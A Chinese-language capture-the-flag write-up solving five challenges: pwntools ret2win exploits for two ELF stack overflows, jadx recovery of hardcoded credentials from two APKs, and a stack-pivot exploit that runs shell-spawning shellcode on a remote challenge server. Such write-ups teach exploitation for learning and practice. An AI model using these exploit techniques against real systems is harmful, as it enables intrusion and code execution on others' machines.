50 points
查看文件信息,64位ELF文件,no canary。
IDA反编译,可以看到有一个简单的栈溢出漏洞。
win函数会输出flag。
所以栈溢出返回到win函数即可
from pwn import *
context(arch='amd64',log_level='debug')
p=process('./ret2basic')
win_addr = 0x0401215
payload = 'A'*0x70 + 'A'*0x08 + p64(win_addr)
p.sendlineafter('this?: ',payload)
p.interactive()
452 points
查看文件信息,64位ELF文件
运行the_list,基本功能是添加/修改/删除/显示用户名。
IDA反编译,第一眼可以看到give_flag函数,这个函数会输出flag.txt的内容。
继续分析,add_user函数提示用户输入用户名,最多输入31个字符('\n'也算在内)。输入完成后,将相邻内存区域清空,以便下一次输入。另外调试可以发现最多添加16个用户名。
分析change_name函数,最多输入79个字符('\n'也算在内),并且没有对编号进行越界检查,所以可以通过不存在的编号进行栈上内容覆盖。
用gdb进行调试。
可以看到,返回地址在0x7fffffffe318
因此可以通过change_name(19),将返回地址覆盖为give_flag函数地址。
from pwn import *
#context(arch='amd64',log_level='debug')
p = process('./the_list')
give_flag_addr = 0x0401369
p.sendlineafter('Enter your name: ', 'A')
for i in range(16):
p.sendlineafter('> ', '2')
p.sendlineafter("Enter the user's name: ", 'A')
payload = "A" * 0x08 + p64(give_flag_addr)
p.sendlineafter('> ', '4')
p.sendlineafter('What is the number for the user whose name you want to change? ', '19')
p.sendlineafter("What is the new user's name? ", payload)
p.sendlineafter('> ', '5')
p.interactive()
50 points
模拟器里运行andra.apk。需要输入Name和password。
jadx反编译。
可以看到登录Name和password为Nahamcom和pink_panther@786
在app里登录可以拿到flag。
50 points
模拟器里运行resourceful.apk,需要输入password。
jadx反编译,可以拿到password为sUp3R_S3cRe7_P4s5w0Rd
登录后拿到flag。
82points
chall是一个64位ELF文件,保护全关。
题目也给出了源代码main.S,其中vuln函数存在一个明显的栈溢出漏洞。
vuln:
;; char buf[0x100];
enter 0x100, 0
;; write(1, "Data: ", 6);
mov edx, 6
mov esi, msg_data
xor edi, edi
inc edi
call write
;; read(0, buf, 0x1000);
mov edx, 0x1000 ; [!] vulnerability
lea rsi, [rbp-0x100]
xor edi, edi
call read
;; return;
leave
ret
但是,由于题目的设置,我们不能通过覆盖返回地址的方式利用该漏洞。原因如下:
%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
mov ecx, [__stack_depth]
mov qword [__stack_shadow + rcx * 8], %%return_address
inc dword [__stack_depth]
;; goto function
jmp %1
%%return_address:
%endmacro
%macro ret 0
;; goto __stack_shadow[--__stack_depth];
dec dword [__stack_depth]
mov ecx, [__stack_depth]
jmp qword [__stack_shadow + rcx * 8]
%endmacro
返回地址会保存在bss段,当函数退出时,再通过这个保存的返回地址跳转。
call vuln
;; write(1, "Data: ", 6);
mov edx, 6
mov esi, msg_data
xor edi, edi
inc edi
call write
;; read(0, buf, 0x100);
mov edx, 0x100
lea rsi, [rbp-0x100]
xor edi, edi
call read
;; return 0;
xor eax, eax
ret
因为bss段是可写的,在vuln函数中第一次read时把RBP覆盖成fake RBP,当vuln函数调用结束后,将栈迁移到bss段。并且此时的RBP会用于第二次read,这样的话通过构造bss段上的结构,我们最终能执行shellcode(NX是关闭的)。
IDA中查看__stack_shadow地址。
由于返回地址会用[__stack_depth]计算,所以我们对这个变量进行进一步的分析。源程序和调试结果说明,当程序开始时,[__stack_depth]为0,每call一次,这个值就加1,每ret一次,这个值减1。
当调用到vuln函数时,[__stack_depth]为2。
那么当我们执行到第二次read时,[__stack_depth]的值为1。因此第二次read结束时,会跳转到[__stack_shadow + rcx * 8]=[0x0600234+1*8]=[0x060023c]。我们只需要将[0x060023c]设置成shellcode的地址即可。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF("./chall")
p = remote("pwn.ctf.zer0pts.com", 9011)
# overwrite saved rbp
bss_addr = 0x0600234 #__stack_shadow
payload = b"A" * 0x100
payload += p64(bss_addr + 0x100)
p.sendlineafter("Data: ", payload)
# construct fake stack
payload = p64(0)+p64(bss_addr+ 0x10)
print(shellcraft.sh())
payload += asm(shellcraft.sh())
p.sendlineafter("Data: ", payload)
p.interactive()
成功拿到flag。